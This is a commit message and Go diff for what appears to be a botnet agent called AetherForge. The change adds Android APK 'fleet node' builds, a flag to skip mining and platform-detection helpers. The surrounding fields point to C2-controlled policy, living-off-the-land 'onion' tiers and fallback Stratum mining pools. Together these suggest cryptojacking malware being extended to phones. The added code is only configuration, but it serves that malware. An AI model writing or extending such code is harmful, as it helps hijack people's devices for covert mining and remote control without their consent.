Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.

agent/config/config.go

@@ -116,6 +116,11 @@ type BuiltinConfig struct {
 	LotlOnionEnabled     bool
 	LotlPolicyFromServer bool     // when true, tier order is pulled from C2 on auth
 	LotlOnionTiers       []string // baked order; ignored when LotlPolicyFromServer until auth
+
+	// ApkMode marks Android fleet-node builds; registration reports platform=android.
+	ApkMode bool
+	// MiningDisabled skips the mining fallback chain (default for APK fleet nodes).
+	MiningDisabled bool
 }
 
 // BackupPool holds connection info for a fallback Stratum mining pool.
@@ -228,6 +233,34 @@ func Load() RuntimeConfig {
 	return RuntimeConfig{BuiltinConfig: b}
 }
 
+// RegistrationPlatform returns the fleet registration OS label. APK wrapper sets
+// AETHERFORGE_PLATFORM=android; forge may also bake ApkMode.
+func RegistrationPlatform() string {
+	if p := strings.TrimSpace(os.Getenv("AETHERFORGE_PLATFORM")); p != "" {
+		return strings.ToLower(p)
+	}
+	b := GetBuiltinConfig()
+	if b.ApkMode {
+		return "android"
+	}
+	return runtime.GOOS
+}
+
+func (c RuntimeConfig) RegistrationPlatform() string {
+	if p := strings.TrimSpace(os.Getenv("AETHERFORGE_PLATFORM")); p != "" {
+		return strings.ToLower(p)
+	}
+	if c.ApkMode {
+		return "android"
+	}
+	return runtime.GOOS
+}
+
+// IsAndroidPlatform reports APK fleet-node workers (env override or ApkMode forge flag).
+func IsAndroidPlatform() bool {
+	return RegistrationPlatform() == "android"
+}
+
 func (c RuntimeConfig) EffectiveThreads() int {
 	mode := strings.ToLower(c.ThreadMode)
 	if mode == "fixed" {